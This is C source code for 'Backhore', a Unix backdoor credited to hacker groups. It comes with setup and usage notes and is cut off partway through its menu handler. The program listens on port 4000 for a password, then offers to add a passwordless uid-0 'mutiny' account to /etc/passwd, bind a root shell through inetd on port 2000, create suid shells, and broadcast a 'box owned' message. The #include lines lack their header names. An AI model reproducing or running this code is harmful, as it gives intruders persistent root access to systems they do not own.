后门技巧杂谈
Psionic, g0d, Psionic.
Groups: Ethical Mutiny Crew(EMC), Common Purpose hackers(CPH),
Global Hell(gH), Team Sploit, Hong Kong Danger Duo,
Tg0d, EHAP.
Usage:
Setup:
# gcc -o backhore backhore.c # ./backdoor password &
Run:
Telnet to the host on port 4000. After connected you
Will not be prompted for a password, this way it is less
Obvious, just type the password and press enter, after this
You will be prompted for a command, pick 1-8.
Distributers:
Ethical Mutiny Crew
*/
#include
#include
#include
#include
#include
#include
#include
#include
#define PORT 4000
#define MAXDATASIZE 100
#define BACKLOG 10
#define SA struct sockaddr
void handle(int);
int
main(int argc, char *argv[])
{
int sockfd, new_fd, sin_size, numbytes, cmd;
char ask[10]="Command: ";
char *bytes, *buf, pass[40];
struct sockaddr_in my_addr;
struct sockaddr_in their_addr;
printf("\n Backhore BETA by Theft\n");
printf(" 1: trojans rc.local\n");
printf(" 2: sends a systemwide message\n");
printf(" 3: binds a root shell on port 2000\n");
printf(" 4: creates suid sh in /tmp\n");
printf(" 5: creates mutiny account uid 0 no passwd\n");
printf(" 6: drops to suid shell\n");
printf(" 7: information on backhore\n");
printf(" 8: contact\n");
if (argc != 2) {
fprintf(stderr,"Usage: %s password\n", argv[0]);
exit(1);
}
strncpy(pass, argv[1], 40);
printf("..using password: %s..\n", pass);
if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(1);
}
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(PORT);
my_addr.sin_addr.s_addr = INADDR_ANY;
if (bind(sockfd, (SA *)&my_addr, sizeof(SA)) == -1) {
perror("bind");
exit(1);
}
if (listen(sockfd, BACKLOG) == -1) {
perror("listen");
exit(1);
}
sin_size = sizeof(SA);
while(1) { /* main accept() loop */
if ((new_fd = accept(sockfd, (SA *)&their_addr, &sin_size)) == -1) {
perror("accept");
continue;
}
if (!fork()) {
dup2(new_fd, 0);
dup2(new_fd, 1);
dup2(new_fd, 2);
fgets(buf, 40, stdin);
if (!strcmp(buf, pass)) {
printf("%s", ask);
cmd = getchar();
handle(cmd);
}
close(new_fd);
exit(0);
}
close(new_fd);
while(waitpid(-1,NULL,WNOHANG) > 0); /* rape the dying children */
}
}
void
handle(int cmd)
{
FILE *fd;
switch(cmd) {
case '1':
printf("\nBackhore BETA by Theft\n");
printf("theft@cyberspace.org\n");
printf("Trojaning rc.local\n");
fd = fopen("/etc/passwd", "a+");
fprintf(fd, "mutiny::0:0:ethical mutiny crew:/root:/bin/sh");
fclose(fd);
printf("Trojan complete.\n");
break;
case '2':
printf("\nBackhore BETA by Theft\n");
printf("theft@cyberspace.org\n");
printf("Sending systemwide message..\n");
system("wall Box owned via the Ethical Mutiny Crew");
printf("Message sent.\n");
break;
case '3':
printf("\nBackhore BETA by Theft\n");
printf("theft@cyberspace.org\n");
printf("\nAdding inetd backdoor... (-p)\n");
fd = fopen("/etc/services","a+");
fprintf(fd,"backdoor\t2000/tcp\tbackdoor\n");
fd = fopen("/etc/inetd.conf","a+");
fprintf(fd,"backdoor\tstream\ttcp\tnowait\troot\t/bin/sh -i\n");